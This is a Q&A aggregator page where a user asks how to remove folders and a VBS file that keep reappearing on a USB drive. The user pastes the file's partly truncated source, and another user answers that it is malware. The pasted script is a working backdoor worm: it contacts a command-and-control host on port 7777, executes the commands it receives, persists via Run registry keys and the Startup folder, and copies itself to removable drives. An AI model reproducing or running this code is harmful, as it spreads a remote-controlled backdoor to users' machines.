Folders appear on pendrive and reappear when deleted. How can I completely delete it?
-
I have a problem, folders appear on pendrive and reappear when deleted. The folder is 'My Document' and 'Download' and also ('servieca'--a vbs script file...) I have deleted all and format and also reformat my pendrive, but the file and folders reappear.. How can I completely delete it?? Someone please help me.. in the vbs file contain: '' On Error Resume Next dim sh ' shell set sh =WScript.CreateObject("WScript.Shell") dim fs ' filesystem set fs= CreateObject("Scripting.FileSystemObject") dim host host="jn.redirectme.net" dim port port=7777 dim DR DR = sh.ExpandEnvironmentStrings("%temp%") & "\" dim FN FN ="Servieca.vbs" dim fh dim us us="~" ins dim spl spl="jnJnj" dim i i=0 while true dim a a= split(post("ready",""),spl) select case a(0) case "exc" dim sa sa= a(1) execute sa case "uns" uns end select wscript.sleep 4000 i = i + 1 if i> 2 then i=0 xins end if wend function ins on error resume next us= sh.regread("HKCU jq8") if us="~" then if lcase( mid(wscript.scriptfullname,2))=":\" & lcase(fn) then us="y" sh.regwrite "HKCU jq8", us, "REG_SZ" else us="n" sh.regwrite "HKCU jq8", us, "REG_SZ" end if end if Err.Clear fs.CopyFile wscript.scriptfullname,dr & fn ,true set fh = fs.OpenTextFile( dr & fn, 8, false) if Err.Number>0 then wscript.quit end if xins end function sub xins on error resume next sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true for each xx in fs.Drives if xx.isready then if xx.FreeSpace >0 then if xx.drivetype=1 then if fs.fileexists(xx.path & "\" & fn) then fs.getfile(xx.path & "\" & fn).Attributes=0 end if fs.copyfile dr & fn , xx.path & "\" & fn,true Fo
-
Answer:
i do believe you've got some malware installed on your pendrive, or maybe it's on the computers you use, or both. i'm no expert in vbs or windows programming generally, but it looks like its connecting to something over a network, over port 7777, which i looked up to find references to malware (google port 7777 and you may even be able to identify it). it also writes to your registry, which is probably why it keeps coming back.
6neezamhalim9 at Answerbag.com Visit the source
Related Q & A:
- How can I completely remove a Facebook event?Best solution by en-gb.facebook.com
- how can I check when the last list item has been deleted?Best solution by SharePoint
- How can I completely clear my smartphone of all information?Best solution by gottabemobile.com
- When exercising, how can I take care of my back?Best solution by answers.yahoo.com
- How can I permanently delete my yahoo account?Best solution by Yahoo! Answers
Just Added Q & A:
- How many active mobile subscribers are there in China?Best solution by Quora
- How to find the right vacation?Best solution by bookit.com
- How To Make Your Own Primer?Best solution by thekrazycouponlady.com
- How do you get the domain & range?Best solution by ChaCha
- How do you open pop up blockers?Best solution by Yahoo! Answers
For every problem there is a solution! Proved by Solucija.
-
Got an issue and looking for advice?
-
Ask Solucija to search every corner of the Web for help.
-
Get workable solutions and helpful tips in a moment.
Just ask Solucija about an issue you face and immediately get a list of ready solutions, answers and tips from other Internet users. We always provide the most suitable and complete answer to your question at the top, along with a few good alternatives below.